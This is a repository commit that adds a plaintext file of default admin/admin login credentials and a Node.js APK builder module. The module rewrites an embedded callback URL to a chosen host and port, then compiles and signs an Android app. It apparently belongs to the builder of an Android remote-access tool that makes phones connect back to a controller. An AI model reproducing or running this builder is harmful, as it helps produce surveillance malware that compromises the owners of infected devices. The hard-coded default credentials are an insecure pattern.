Add files via upload

Password.txt

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+User Name: admin
+Password: admin

includes/apkBuilder.js

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+const
+    cp = require('child_process'),
+    fs = require('fs'),
+    CONST = require('./const');
+
+// Thanks -> https://stackoverflow.com/a/19734810/7594368
+function javaversion(callback) {
+    let spawn = cp.spawn('java', ['-version']);
+    spawn.on('error', (err) => callback("Unable to spawn Java - " + err, null));
+    spawn.stderr.on('data', (data) => {
+        data = data.toString().split('\n')[0];
+        var javaVersion = new RegExp('java version').test(data) ? data.split(' ')[2].replace(/"/g, '') : false;
+        var openJDKVersion = new RegExp('openjdk version').test(data) ? data.split(' ')[2].replace(/"/g, '') : false;
+        if (javaVersion || openJDKVersion) {
+            spawn.removeAllListeners();
+            spawn.stderr.removeAllListeners();
+            return callback(null, javaVersion);
+        } else return callback("Java Not Installed", undefined);
+    });
+}
+
+function patchAPK(URI, PORT, cb) {
+    if (PORT < 25565) {
+        fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
+            if (err) return cb('File Patch Error - READ')
+            var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
+            fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
+                if (err) return cb('File Patch Error - WRITE')
+                else return cb(false)
+            });
+        });
+    }
+}
+
+function buildAPK(cb) {
+    javaversion(function (err, version) {
+        if (!err) cp.exec(CONST.buildCommand, (error, stdout, stderr) => {
+            if (error) return cb('Build Command Failed - ' + error.message);
+            else cp.exec(CONST.signCommand, (error, stdout, stderr) => {
+                if (!error) return cb(false);
+                else return cb('Sign Command Failed - ' + error.message);
+            });
+        });
+        else return cb(err);
+    })
+}
+
+module.exports = {
+    buildAPK,
+    patchAPK
+}